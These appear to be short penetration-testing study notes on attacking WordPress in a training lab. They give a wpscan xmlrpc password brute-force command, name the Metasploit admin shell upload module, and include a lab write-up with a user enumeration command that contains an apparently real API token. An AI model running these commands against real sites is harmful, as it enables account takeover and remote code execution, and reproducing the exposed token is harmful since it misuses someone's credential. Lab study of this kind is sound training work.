Known Vulnerabilities

Vulns repartition:

• 4% Wordpress core
• 89% Plugins
• 7% Themes

Login Bruteforce

wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://blog.inlanefreight.local>

MSF WP Admin shell upload

exploit/unix/webapp/wp_admin_shell_upload 

Writeup

Perform user enumeration against http://blog.inlanefreight.local. Aside from admin, what is the other user present?

wpscan --url <http://blog.inlanefreight.local> --enumerate u --api-token LtsnapV74hG8S8z2Dfua9hx8VtvLiacQM4Hd4rtqaWE

→ doug

Perform a login bruteforcing attack against the discovered user. Submit the user's password as the answer.